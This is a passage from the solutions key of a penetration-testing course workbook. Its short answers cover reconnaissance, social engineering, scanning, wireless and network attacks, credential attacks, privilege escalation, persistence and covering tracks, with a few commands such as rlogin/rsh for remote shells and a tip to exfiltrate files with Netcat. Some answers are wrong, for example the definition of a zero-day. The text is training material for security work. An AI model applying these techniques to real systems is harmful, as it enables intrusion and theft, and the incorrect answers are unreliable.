The Master Service Agreement is a contract that establishes precedence and guidelines for any business
documents that are executed between two parties. Once you have a MSA to solidify the legal terms between
the parties, you can then create one or more SOW to outline project-specific services and payment terms.
The Gramm-Leach-Bliley Act requires financial institutions ensure the security and confidentiality of client
information and take steps to keep customer information secure.
Driver's Privacy Protection Act governs the privacy and disclosure of personal information gathered by
state Departments of Motor Vehicles.
The Health Insurance Portability and Accountability Act (HIPAA) Privacy Rule establishes national
standards to protect the privacy of individuals’ medical records.
3. When the team begins to finalize the documentation to provide the PenTest, what are the
elements that should be included in the contract(s)?
• Compensation specifics that include invoicing and any reports required when submitted.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-6 | Solutions
To find some basic information on a target, the team can try the “about us” page of a company website.
2. While searching the social media profiles of a target organization, the team reads a series of
Facebook posts by a network administrator. The employee is dissatisfied with their colleagues
and complains that they have a lax attitude toward securing and monitoring the network. How
could the team use this information?
The team can focus on finding the weaknesses that may exist due to the negligent employees.
3. Using DNS is common during the footprinting and reconnaissance phase of the PenTest. What
protocol can be used to search for organizational information?
When an entity registers a domain name, the registrant will need to provide information, such as
organizational and key contact details. The team can use the whois protocol to search for these
details.
The team should check source-code repository sites such as GitHub, Bitbucket, CloudForge, and
SourceForge. Once there, they should examine the code to see if the developers had added sensitive
information in their code, such as usernames and passwords, or other information that can be used to
frame an attack.
2. You have heard that there might possibly be a leadership change in the target’s
infrastructure. You are fairly sure that there was a press release in the past week about
the change, but there is no longer a trace of the story. What can you try to locate this
information?
The team could start with searching cached pages, and then try a search using the Wayback Machine.
3. In order to do a more targeted search, the team is going to use Google Hacking. What advanced
operators should the team enter in the search if they are looking for spreadsheets or
documents with results that include the text "confidential" on 515support.com?
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-7
Disallow: /wp-admin/
2. Digital certificates used in SSL/TLS communications are another public resource that can aid
in the PenTest process. What are two resources can the team use to discover more information
on the company?
The team can search for information on the targets certificate information using an online SSL checker along
with the Certificate Transparency (CT) framework.
3. Once the team has gathered the intel on the target, you’ll want to determine the best plan of
attack when preparing the attack phase of the PenTest. List some of the guidelines that will
help your team be better prepared.
• Use gathered technology information to identify potential vulnerabilities and consider ways to weaponize
them in future phases.
• Determine how public IP addresses map to resources like web servers that you can later target.
• Leverage information from third-party sites to learn more about an organization and its people and
consider ways the information can be used in a social engineering test.
The team could use either Metagoofil or FOCA to gather metadata from various documents.
2. The team leader has tasked your group to test the targets physical security. The target has a
main building, loading docks, a parking garage, and a warehouse. Which OSINT could provide
the team with valuable intel?
When planning a physical PenTest, the team can use Shodan to attempt to locate the feed of a security
camera outside the target’s facilities. If successful, the team can get a better picture of the premises and any
possible defenses that are in place.
3. Your team is tasked with preparing a social engineering attack on the target. One of the team
members suggests they research commonalities between the target and a sister organization.
What tool do you feel would be a good choice to aggregate and graph this type of information?
Maltego is the best choice for this exercise, as when searching, the results of query are placed in graphs and
then links are established between each node. This will enable the team to analyze how the target and the
sister organization are connected.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-8 | Solutions
This leverages the motivation techniques of urgency and fear. When Arya receives the email, the spoofed
headers make it appear as if the email is actually coming from the bank. After reading the email, Arya feels
as if he should act quickly so his account will not be closed. Arya, unwise to the threat, complies with the
fraudulent request.
2. Freja receives an email claiming to be from a citizen of a foreign country and asks her to help
them access funds (in excess of several million U.S. dollars) that are held in a bank account. The
email states that Freja should provide her bank account number so that the banking executives
can transfer the funds. Once complete, she will get a cut of the money. What type of email is
this and what will most likely happen if Freja complies?
The email is a hoax from a malicious actor. If Freja complies, the attacker will simply take the money in Freja’s
account.
3. Phishing is a social engineering attack where the malicious actor communicates with the
victim from a supposedly reputable source, to try to lure the victim into divulging sensitive
information. What type of attack is a more targeted approach?
For a more targeted approach, an attacker can use spearphishing, which is a phishing attack that targets a
specific person or group of people. Spearphishing attacks require that the attacker perform reconnaissance
and gather specific people-based information on their targets before launching the attack. The attacker then
uses what they learn about their targets' habits, interests, and job responsibilities to create a custom message.
2. How would a malicious actor use tailgating or piggybacking to enter a restricted area?
The malicious actor might be able to enter an access-controlled building by joining a group in the smoking
area and then slip in with the employees as they return. Additionally, the malicious actor can carry a large
package and walk behind the target as they are heading towards a door. The malicious actor can then ask
the target to “hold the door” for them to allow them to gain access to a restricted area.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-9
3. If a facility is using a badge system to identify employees, how can the malicious actor use the
badge to gain access to a restricted area?
A malicious actor can either steal or clone a badge to circumvent physical security.
The team will need to review the information gathered from the footprinting and reconnaissance phase to
prepare the attack. For example, the team can gather an executive's email address, office location, role in the
company, and who they manage, all from the organization's website. The team can then use the information
to prepare a spearphishing attack to try and get the company to authorize a fraudulent payment.
2. Rafi has asked your team to review some of the basic options listed in the SET opening menu.
When you launch SET, what will you see as options?
3. Kiah asks your team how to spoof a VoIP call. What is your response?
Kiah can either use an app on her phone, which in most cases will require some type of charge, or she can
set up an Asterisk server, which is free but requires a great deal of setup.
Stage 1: Discover is when the vulnerability is identified. At this point, a malicious actor may create an
exploit.
Stage 2: Coordinate is when the vulnerability is defined, listed, and published in the CVE and CWE so that
vendors and anyone involved is aware of the vulnerability.
Stage 3: Mitigate is when vendors and software designers develop a patch, which is then released to the
public.
Stage 4: Manage is when the patch has been released and each individual organization applies the patch in
order to remediate or mitigate the vulnerability.
Stage 5: Document is the final phase, in that the results are recorded, and everyone takes a moment to
reflect on lessons learned, in order to prevent further exposure.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-10 | Solutions
A zero-day vulnerability is when the vendor is aware of a security flaw, but a patch has not been developed
or applied on an affected system. At this point, a malicious actor can craft an attack and take advantage of
the zero-day vulnerability.
Having a topology map of the network is valuable to the PenTest team because it outlines your choice of
tools and strategies. For example, you cannot conduct an ARP scan or spoof a MAC address on a remote
network without direct access to that network.
ANSWER: During scanning, it’s important for the team to identify any devices such as load balancers that can
misdirect probes or attacks.
2. One of your team members, Giles, states that the client has listed a WAF that is in use on the
network. He asks you what a WAF is and how is it used. How do you respond?
A WAF is a web application firewall that is specifically designed to monitor web applications and guard
against common attacks such as cross-site scripting and SQL Injection attacks.
3. During the PenTest, the team may need to assess whether or not they are able to create an
exploit that can bypass the antivirus protection. How they achieve this?
One way to achieve this is by using the Social Engineering Toolkit (SET) in Kali Linux. Using SET along with
Metasploit, the team can create a malicious payload, such as a virus, worm, or Trojan, and embed the
payload in a PDF.
When testing for vulnerabilities, one tool the team can use is Censys, an attack surface analyzer that is
similar to Shodan, to identify exposed systems.
2. Packet crafting involves altering a normal IP packet before transmitting it on a network. Why
would the PenTesting team use packet crafting software?
• Create fragmented packets that cannot be reassembled, which can consume all of a target's CPU time
and cause either a system crash or denial of service (DoS).
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-11
3. Web servers are often public-facing, whereas database servers are almost always on the private
network. The web server will then have a backend connection to the database server. What are
the listening ports for database servers using SQL?
Most database servers using SQL will listen on TCP port 1433 or UDP port 1434.
The team will first scan the LAN for listening hosts and then, once identified, the team will scan the ports of
any listening hosts to determine which services are listening.
2. When port scanning, the team can either do a full connect or stealth scan to identify listening
services. What is the difference?
A full connect scan will connect with the host and learn as much about the target as possible, however this
type of scan can be noisier and alert devices of a possible intrusion. In contrast, a stealth scan doesn’t create
as much noise on the network so the team will have a better chance of remaining undetected.
A credentialed scan uses credentials such as usernames and passwords and is able to take a deep dive
during the vulnerability scan to produce more information while auditing the network. In contrast, a non-
credentialed scan has fewer permissions and can only find missing patches or updates.
Catrina can use Wireshark, a packet sniffing tool. Packet sniffing can take advantage of cleartext protocols
and data traveling across the network. The analyst can learn a great deal about the network by monitoring
protocols such as: TCP, ARP, SMTP, HTTP, and others.
2. Raihan explains to the team that the PCI DSS requirements of an organization must require that
the CDE be properly segmented. What does this mean?
They must test the network to ensure that an out-of-scope network will not have the ability to communicate
with the CDE.
3. During active reconnaissance, the team will gather MAC addresses in order to launch an ARP
poisoning attack. Explain this attack method.
This attack deliberately maps an incorrect MAC address to a correct IP address, which poisons the ARP
cache. This then allows an attacker to insert themselves in a man-in-the-middle attack between two
legitimate hosts.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-12 | Solutions
War driving is a technique that involves driving (or walking) around to search for open access points using a
laptop or smartphone.
2. While searching for open access points, one of the team members suggests using WiGLE. Explain
what it is and how it can help during the PenTest process.
WiGLE is an OSINT tool to help during the reconnaissance phase of PenTesting as it can be used to identify
open access points. In addition, it can also be used in satellite view to visualize the physical location and
nearby landmarks.
3. During a wireless assessment of a manufacturing plant, the team will need to assess the main
buildings along with several outbuildings spanning over 16 acres. What type of antenna will
work best in this environment?
Nmap is a powerful open-source scanner that can be used in a variety of ways that include:
2. One of the team members suggests that when scanning the payroll department it
might be more efficient to activate all scripts in the vulnerability category using
script=vuln. Knowing that network performance is essential, how would you respond?
If the target has a healthy amount of bandwidth, and the client agrees, the team can scan using multiple
concurrent scanners, which will speed up the scanning process. However, the team will need to monitor the
network as this type of aggressive scanning can result in an overburdened network.
3. Allison was trying to scan 8080, 443, and port 80 using the command nmap -p [8080,
443,80] scanme.nmap.org and told you the command didn’t work. What is wrong with
the command?
The command won’t work because it is not written correctly and will return a bad pattern error. The correct
syntax for this command is nmap -p 8080,443,80 scanme.nmap.org.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-13
If a firewall is blocking the default ICMP pings, they can try using one of the following commands:
UNFILTERED means the port is accessible; however, Nmap is unable to determine if the port is open or
closed.
3. During fingerprinting the team can use passive or active OS scanning. Which is the preferred
method and why?
During fingerprinting the preferred method is to use active scanning, which actively probes the target and
returns more accurate results.
Nmap lists for the http -slowloris-check that the target is likely vulnerable. In addition to listing the Common
Vulnerabilities Enumeration (CVE) number, Nmap outlines some basic information about the vulnerability.
2. Why is it essential to test to see if the DNS nameservers are properly secured and configured
correctly?
If not properly configured, an unauthorized server can request the zone file from the host nameserver by
posing as a client nameserver. If successful, this can leak resource record information.
3. The team is tasked to check the web server for vulnerabilities. What method(s) can they use?
During the PenTesting exercise, the team can test the organization's web server using a few methods:
• Manually examine the source code and elements within the site for comments or other interesting
artifacts.
• Examine the web or access logs that show the activity for a website.
• Intercept traffic using a proxy between the web client and the server.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-14 | Solutions
• Use a decoy.
2. LoTL attacks are called fileless malware as there are no viruses used. List three tools that
malicious actors can use in a LoTL attack.
• Mimikatz
3. To make it as difficult as possible for forensic investigators to identify how the attack began,
and who is responsible, you’ll want to cover your tracks. List three methods you can use to
cover your tracks.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-15
2. OpenStego is similar to most other tools in that you embed a message in a carrier file. What’s
unique about OpenStego?
When using OpenStego, in addition to standard steganography functions, you can also embed a watermark.
Coagula and Sonic Visualizer work in a similar way, they use sound to conceal an image and then convert the
text within the spectrogram.
A client initiates the communication process by contacting the server. If the server accepts the request, the
client will provide host information and appropriate credentials.
A server has an SSH daemon that listens for client requests. When a client initiates a request, the server will
check the host information and appropriate credentials, and then once accepted, both parties will establish a
connection.
2. Two options to provide remote access are Netcat and Ncat. Compare the two.
Netcat (nc) is a versatile command-line utility that can create or connect to a TCP server, act as a simple
proxy or relay, transfer files, launch executables when a connection is made, test services and daemons, and
scan ports.
Ncat is considered to be a successor of Netcat as it provides all of the same commands and options as nc
along with advanced functionalities. Ncat can operate in one of two modes: Connect (or client) or Listen
(or server) mode.
3. Proxy servers are used on a network to mediate the communications between a client and
another server. Why would the PenTest team use ProxyChains4?
ProxyChains4 is a command-line tool in Linux that enables PenTesters to mask their identity and/or source
IP address by sending messages through intermediary or proxy servers.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-16 | Solutions
2. When enumerating Windows hosts, there are a number of tools you can use, including the
built-in tools within the operating system. List some command line tools to enumerate
Windows hosts.
When using the CLI, the team can issue the following commands to enumerate Windows hosts:
• net view
• arp -a
• net user
• ipconfig /displaydns
3. Active Directory is the directory for a Microsoft environment. List some of the objects that make
up the Active Directory.
Active Directory includes the following: Trees, Domains, and Organizational units.
A malicious actor can launch a VLAN hopping attack by using a Macof attack. Another way is to configure the
interface of an attacker machine to become a trunk port so the switch will then deliver packets to a restricted
VLAN.
2. To launch an on-path attack, a malicious actor may need to employ protocol spoofing or cache
poisoning. List some examples that will help achieve this goal.
To launch an on-path attack, a malicious actor may need to use one or more of the following methods:
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-17
The six basic types of Metasploit modules are: Exploits, Payloads, Post, Auxiliary, Encoders, and Nops.
2. When using Metasploit, there may be times you will need to have multiple sessions.
What is the command to list all of the sessions you currently have running?
msf> sessions -l will list all of the sessions you currently have running
3. There are many tools the PenTest team can use when working on a LAN. Describe the functions
of the following: Impacket tools, Responder, and mitm6.
• Impacket tools is an open-source collection of tools used when PenTesting in a Windows environment
that provides methods for several attacks, such as pass the hash, credential dumping, and packet sniffing.
• Responder is a command line tool in Kali Linux used to poison NetBIOS, LLMNR, and MDNS name
resolution requests.
• mitm6 is an IPv6 DNS hijacking tool that works by first replying to DHCPv6 messages that set the
malicious actor as a DNS server. It will then reply to DNS queries with bogus IP addresses that redirect the
victim to another malicious host.
• Embedded malware
• Outdated software
• Configuration defects
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-18 | Solutions
2. To properly control access, it’s essential to have a solid understanding of identity and account
types along with potential risks involved when managing access. Outline the different types of
identities that can exist in an organization.
The different types of identities that can exist in an organization include personnel, endpoints, servers,
software, and roles.
3. Malicious actors target employees as a means of gaining access to the network. One way to
avoid an attack is to recognize account management risks. What possible risks can occur when
dealing with using either privileged or shared accounts.
• Users often adopt poor credential management habits, such as choosing bad passwords, writing down
passwords, and reusing passwords on third-party sites.
• Administrators are often granted too many privileges or abuse accounts with "super" privileges for
routine log-ons.
• A shared account is when the password (or other authentication credential) is shared with more
than one person and a single "Admin" account is used to manage a device. A shared account should
be avoided, as it breaks the principle of nonrepudiation and makes an accurate audit trail difficult to
establish.
The cloud infrastructure can suffer from attacks such as malware injection, side-channel, and direct-to-origin
attacks.
2. One type of DoS attack is resource exhaustion, where the focus is on consuming system
resources and can lead to a system crash or failure. Describe some of the techniques used to
exhaust resource and deny service.
• Amplification or volumetric attacks, which will focus on saturating the bandwidth of the network resource.
• A denial-of-sleep attack will drain a device's battery, which in turn can render the device inactive.
• A slow HTTP attack sends fragmented requests to the server and can stress the server, as compiling the
fragmented request can lead to depletion of processing resources.
3. Today, there are a number of tools available for the cloud infrastructure to perform automated
vulnerability scanning and PenTesting. List a few tools used to PenTest the cloud infrastructure.
Some of the tools used to test security configurations or perform extensive compliance auditing on cloud
assets include ScoutSuite, Prowler, Pacu, and Cloud Custodian.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-19
• WPA2 is an improvement of WPA and replaced RC4 and TKIP with Counter Mode CBC-MAC Protocol
(CCMP) using AES.
• WPA3 includes advanced features to secure wireless transmissions such as 192-bit encryption when
using WPA3-Enterprise mode. It also features improved authentication, employs a 48-bit initialization
vector, and uses Protected Management Frames (PMFs) to prevent exposure of management traffic.
2. When launching an attack on Wi-Fi, many times a malicious actor will use a deauth
attack. Describe a deauth attack and explain why it is used.
A deauthentication (deauth) attack will boot the victim(s) from an AP, which will force them to
reauthenticate. A deauth is used so the victim generates the required traffic needed for the malicious
actor to capture the handshake.
3. An evil twin is a rogue access point that attempts to trick users into believing that it is a
legitimate AP, such as an organization's official Wi-Fi network. Describe what is needed to
create an evil twin.
To create an effective evil twin, the malicious actor can do the following:
• Place the evil twin close to the victim so that its signal strength is high, and it is put at the top of the
victim's list of APs.
To get the victim to join the evil twin, a malicious actor can set up a convincing captive portal with open
authentication.
• Airmon-ng—will enable and disable monitor mode on a wireless interface. Airmon-ng can also switch an
interface from managed mode to monitor mode.
• Airodump-ng—provides the ability to capture 802.11 frames and then use the output to identify the
Basic Service Set ID (MAC address) of the access point along with the MAC address of a victim client
device.
• Aireplay-ng—A tool that injects frames to generate traffic while attempting to crack an access points
WPA-PSK keys.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-20 | Solutions
2. Wifite2 is a wireless auditing tool you can use to assess the WLAN. List one or two of the attacks
used to retrieve the password of a WAP.
Wifite2 can launch a variety of attacks to retrieve the password of a WAP, including the following:
3. List two or three tools that the PenTesting team can use to recover and attempt to crack a
wireless access point key.
Tools that can be used to recover a WAP key include: Fern, EAPHammer and MDK4.
• Bring your own device (BYOD)—the mobile device is owned by the employee; however, it must be
corporate compliant in terms of OS version and functionality.
• Corporate owned, business only (COBO)—the device is the property of the company and may only be
used for company business.
• Corporate owned, personally enabled (COPE)—the device is supplied and owned by the company. The
employee may use it to access personal email, social media, and web browsing; however, they must be
compliant with any acceptable use policies in force.
• Choose your own device (CYOD)—much the same as COPE; however, the employee can select a device
from a curated list.
2. Enterprise mobility management allows administrators to work from a centralized console and
provide remote access to managed devices. List four to five features of an EMM solution.
• Locating devices through Global Positioning Software (GPS) and other technologies
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-21
3. In an environment where there are multiple types of mobile devices, the organization can face
numerous threats and vulnerabilities. List three or four issues that can affect the business logic
process.
Issues that can create a vulnerable environment when dealing with mobile devices include:
• Deperimeterization
• Strained infrastructure
• Forensics complications
• Dependency vulnerabilities
• Passcode vulnerabilities
• Vishing is phishing using Voice over Internet Protocol (VoIP). This attack is possible as it is easy to spoof
the sender information when using a VoIP call.
• SMiShing is a form of phishing that uses text messages to entice users to click on a link or provide
information.
• Drive by downloads can occur while browsing the internet, as a victim can click on a link that will
download malicious software. Many times, the victim is unaware of this activity.
• Spamming is sending unsolicited ads and calls to a mobile user, which can be done either by using a text
or phone call.
• Browser Hijackers take a web request and send it to another search engine or display persistent
advertising, with the goal of stealing information.
2. When using a Bluetooth-enabled device, best practice techniques will minimize the potential for
an attack. List two or three techniques.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-22 | Solutions
3. Describe how sandbox analysis can help you understand what happens when a virus executes.
Sandbox analysis is using virtualization to provide a safe environment to analyze malware. You can create a
sandbox using a virtual machine, or use a pre-made sandbox designed to provide a full analysis of malware
activity.
Some of the activities that are completed to ensure secure mobile device infrastructure can include the
following:
• Secure App Development—creates organization specific apps in-line with organizational policy.
• Mobile APP Testing—includes Static Application Security Testing (SAST) and Dynamic Application Security
Testing (DAST).
2. Prior to deployment, it’s good practice to test any APIs in your project. One tool that the team
can use is Postman. List three or fours tasks you can do with Postman.
Postman has many features so that you can accomplish the following:
3. Some tools work in symphony with one another. Two examples are the tools Frida and
Objection. Explain how you would use Frida and Objection when PenTesting.
When using Objection, the team can run custom Frida scripts and interact with the filesystem on non-
jailbroken iOS devices. It uses Frida to inject objects into an application and then monitors the behavior. You
can also simulate a jailbroken environment and observe an iOS application within the existing constraints of
a sandbox environment or dump the iOS keychain.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-23
IoT devices can communicate and pass data in one of two ways:
• Machine-to-machine (M2M)—communication between the IoT device and other traditional systems
such as a server or gateway
2. In addition to default passwords, it’s important to be familiar with vulnerabilities that can be
present in an IoT device when testing. List two or three issues that should be tested.
Some of the vulnerabilities that can be present in IoT devices include the following:
• Lack of physical security—the small devices (such as IP cameras) can be located in several areas, many
in plain sight. Unless access is restricted, these devices can be damaged or stolen.
• Hard-coded configurations—can occur when, for example, the device is configured to phone home as
soon as it is activated.
• Outdated firmware/hardware—many IoT devices do not ever receive updates to the system. Even if an
update is available, the device may not have an option to automatically update.
• Poorly designed code—can lead to an attack, that can include buffer overflows, SQL injection, SYN flood,
and privilege escalation.
3. One attack an IoT device can suffer is a Denial of Sleep attack. Explain how this works.
A Denial of Sleep attack continuously sends signals to the device, requiring the device to (continuously)
respond and prevents the device from resting or sleeping, which then drains the battery.
• Direct Attached Storage (DAS)—storage attached to a system such as a hard drive in a server instead of
being accessed over the network
• Network Attached Storage (NAS)—a group of file servers attached to the network dedicated to
provisioning data access
• Storage Area Network (SAN)—a separate subnetwork typically consisting of storage devices and servers
that house a large amount of data
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-24 | Solutions
2. An industrial control system (ICS) is any system that enables users to control industrial and
critical infrastructure assets over a network. Describe how a SCADA system works.
A Supervisory control and data acquisition (SCADA) system is a type of ICS that manages large-scale,
multiple-site devices and equipment that are spread over geographically large areas from a host computer.
Fuzzing a system is a technique used to see if there are any misconfigurations. Fuzzing sends a running
application random and unusual input and monitors how the app responds.
• Host hardware—represents the platform that will host the virtual environment.
• Hypervisor/Virtual Machine Monitor (VMM)—manages the virtual machine environment and facilitates
interaction with the computer hardware and network.
• Guest operating systems (Virtual Machines or instances)—represent the operating systems installed
under the virtual environment.
2. A VM repository is a location that is used to store VM templates or images and contains the
configuration files that are used to create additional VMs. What could happen if a template has
malware or is not configured correctly?
If a VM template in the repository has malware, when new VM’s are generated from the infected template,
this could then propagate throughout the organization.
3. Hypervisors are generally regarded as well-protected and robust. However, they can suffer from
vulnerabilities as well. Describe an attack that can take control of the hypervisor.
Hyperjacking is when a malicious actor takes control of the hypervisor that manages a virtual environment.
Once the malicious actor has taken control of the hypervisor, they will have all the required privileges and
can take full control of the environment.
2. You need to choose a query language for your client’s application to write to and read from a
database. Which language protocol would you suggest?
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-25
3. You have been asked to make a client presentation on the OWASP Top Ten. What are some of
the critical security risks that you could discuss?
• Injection
• Broken Authentication
• Security Misconfiguration
• Insecure Deserialization
• Session hijacking
• Cookie
• Session fixation
• Session replay
2. A user comes to you with a problem. They explain that they wanted to purchase some IT books
from the online company bookstore but their shopping cart has changed its contents. They
think this is strange because they don’t want 50 of the same book for themself. What could be
the cause?
3. You have been asked to PenTest a client’s network. They have asked for you to only use
horizontal privilege escalation. What is a benefit of this type of escalation?
This approach has great potential for information gathering without raising possible suspicion, as irregular
user activity is more likely to stay unnoticed than irregular admin activity.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-26 | Solutions
2. You are on a security team and have found evidence of someone accessing a file from a location
that the user is not authorized to access. What is one attack method that could be causing this
prohibited process?
Directory traversal
3. You are on a PenTesting team and have decided to use a code injection attack to test a client’s
application. In what ways can code injection compromise an application?
• Exposing and exfiltrating sensitive data in databases such as user credentials and PII
• Defacing a website
truffleHog
2. Your client has a Ruby on Rails application. They want to check for vulnerabilities. Which tool
would you suggest they use?
Brakeman
3. Your PenTest team has accessed an active directory environment. Which post-exploitation tool
would you suggest the team use to identify vulnerabilities?
CrackMapExec
2. What is a good type of framework to recommend to Robert that he can use to help get his
PenTest project started?
Command and Control (C2 or C&C) frameworks. Generally, these include repositories of exploits that can
also be leveraged.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-27
3. In regard to tools and frameworks, what would you recommend to Robert is one of the duties of
a good PenTesting team?
To keep up with resources, especially as old ones are deprecated and new ones developed.
Yes. NetCat is highly versatile. It has been called the “Swiss Army knife” of hacking tools. It can create or
connect to a TCP server, act as a simple proxy or relay, transfer files, launch executables when a connection
is made, test services and daemons, and even port scan.
2. Robert was going to use Telnet to connect to systems, and he also needs the ability to easily
copy files. He asks how to copy files with Telnet. What is your response?
Telnet should not be used to access systems and cannot copy files. He should be using Secure Shell (SSH).
It is secure, if configured properly, and is commonly used by system administrators to remotely manage
servers and other devices. It also has a copy file feature that can be used. As a penetration tester, you need
to be familiar with SSH, as it is frequently found on all computer systems.
3. Robert has asked whether you know how to easily open a shell on a remote Linux machine. You
want to help him out. What is/are the command(s) you would suggest?
rlogin 192.168.1.50
rsh 192.168.1.50
rlogin is a Linux command that is similar to Telnet, but if the server has an .rhosts file configured a certain
way, you won't even need to supply credentials. The rsh command can open a shell, but it also gives you the
ability to execute a command directly.
3. Robert has asked you about reverse engineering. He knows that there are three primary
methods of doing this but he cannot remember what they are. Can you help him?
• decompilation
• disassembly
• debugging
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-28 | Solutions
• Parameters that the script takes as input data (passed to the script as arguments).
• Branching and looping statements that can alter the flow of execution, based on conditions.
• Validation and error handlers to check inputs and ensure robust execution.
• Unit tests to ensure that the script returns the expected outputs, given the expected inputs.
2. Your new team wants to use scripting to aid in their PenTesting project. They have heard that
Bash is a good option but don’t know much about it. What are some of the reasons why Bash
scripting is useful in the world of PenTesting – what useful features does it have?
In the world of PenTesting, Bash scripting is useful for a wide variety of purposes, including:
• Quickly scanning and identifying actionable information in log and other text files.
• Manipulating the output of existing security tools like nmap, tcpdump, Metasploit, etc.
3. Your team wants to use a scripting language to help with their current PenTest project.
They would like to do some network scanning, reverse engineering, application fuzzing, web
exploitation, and a number of other things. They mentioned that they don’t want to use
something that uses command shell tied to an operating system architecture. Which language
would you recommend they use based on their request parameters?
Python. Python is a popular scripting language in the world of penetration testing. Its robust standard library
contributes to this, as many existing PenTesting utilities and frameworks are built using Python, including
Volatility, Scapy, Recon-ng, and many more.
Flow Control is the order in which code instructions are executed. Controlling the flow of instructions
enables the programmers to write a script so that it can follow one or more paths, based on certain
circumstances.
2. Your colleagues come to you with a question. They want to develop a script to show basic flow
and functionality, but they haven’t yet decided which language to write the script in. Can you
help?
They should write the script using Pseudocode. Pseudocode is a made-up language used to show flow and
logic, but is not based on any programming or scripting language. Once the script is written in Pseudocode, it
can easily be adapted to the actual language that will be used.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-29
3. Your colleagues want to use a data construct to exfiltrate data from multiple programs in
plaintext. They want to be able to make the export portable between applications. What could
the use?
A CSV file and format should be used. A comma-separated value (CSV) file is exactly as its name suggests: a
file where entries are separated by commas. Originally used as an export from spreadsheets, CSV files have
become a very popular way to import and export data. Complex data files can be transported as a CSV file in
plain text. Each entry in the CSV file is a field, and the fields are separated by commas. Typically, each line is
an individual record. Considering a CSV as a spreadsheet, each field would be an entry in a column, and each
line would be a row. Typically, the first line of a CSV file, defines the field or column headers.
Consider using libraries of pre-existing code that can be leveraged to help build the script.
2. Where could your newest team member get these modules from?
3. Your newest team member has been asked to use Python scripting for a PenTest project. They
need to write a script but do not know how to make the program access the desired libraries
that they have downloaded. What command do you recommend that they use?
“import”
They could conduct their assaults online or offline. There are a variety of attacks they could utilize, including:
• Offline cracking
• Dictionary attack
• Rule attack
• Mask attack
• Spraying
• Phishing
• Malware
• Social engineering
• Shoulder surfing
• Keylogger
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-30 | Solutions
2. Your team has asked advice on some passwords they have found traces of, on Windows devices
that are stored in the Security Account Manager (SAM). You inform the team that passwords are
usually stored as one of two types of hashes. What are those two types?
• LanMan (LM) hash: Before hashing, passwords are converted to uppercase and then either truncated
or padded to become 14 characters long. The actual value that is stored is not the password hash
itself. Instead, the hash is divided into two 7-byte parts, each of which is used as a 56-bit DES key to
encrypt the fixed string "KGS!@#$%". Because the hash is unsalted, it is susceptible to dictionary and
rainbow table attacks.
• NT hash: This is a simple MD4 hash of the password (encoded as UTF-16 little endian). It is unsalted but
allows passwords up to 128 characters long.
3. There are many password-cracking tools available, with many being multi-featured. Your team
wants a recommendation for a password-cracking tool that has the ability to use multiple CPUs,
enable portability, and can pause the cracking on one device while resuming it on a different
one. Which tool would you recommend that can do this?
John the Ripper has the ability to use multiple CPUs and enables portability because it can pause the
cracking in one device to resume on a different one.
Lateral movement.
2. The team has heard about a “pass the hash” attack but is not sure what it entails. Could you
briefly explain it to them?
A pass the hash attack is when you log on to the target operating system or application providing
the username and the hash of the password, rather than the password itself. You obtain the hash by
inducing the operating system or application to dump them from RAM, the Windows Registry, or a
credentials file.
3. As part of the process of moving through the system, the PenTest team encounters a major
challenge: they do not have access to the resources they need. What options should their
manager recommend that they try?
Privilege escalation. There are two important ways in which this is performed that need to be taken into
consideration.
• Vertical Privilege Escalation is to obtain access to an account of higher privilege than the one you
currently have, in order to enable administrative resources that the regular user does not have
permission for.
• Horizontal Privilege Escalation is obtaining access to a regular user account of different privilege than the
one currently in use, to enable private resources you otherwise do not have permission for.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-31
Persistence is the quality by which a threat continues to exploit a target, while remaining undetected for a
significant period of time.
2. What are some of the techniques your team should look for to discover where the adversary is
attempting to maintain a foothold?
• Registry Startup
• Scheduled Tasks
3. What are some of the guidelines you could give to your team when they use persistence
techniques?
• Try to maintain a foothold in the organization to continue your attack after the main phase has concluded.
• Demonstrate persistence to the client without necessarily keeping assets compromised for a long period
of time.
• Create new user accounts to bypass access control and account monitoring.
• Use Netcat to exfiltrate files from a target host to your own host.
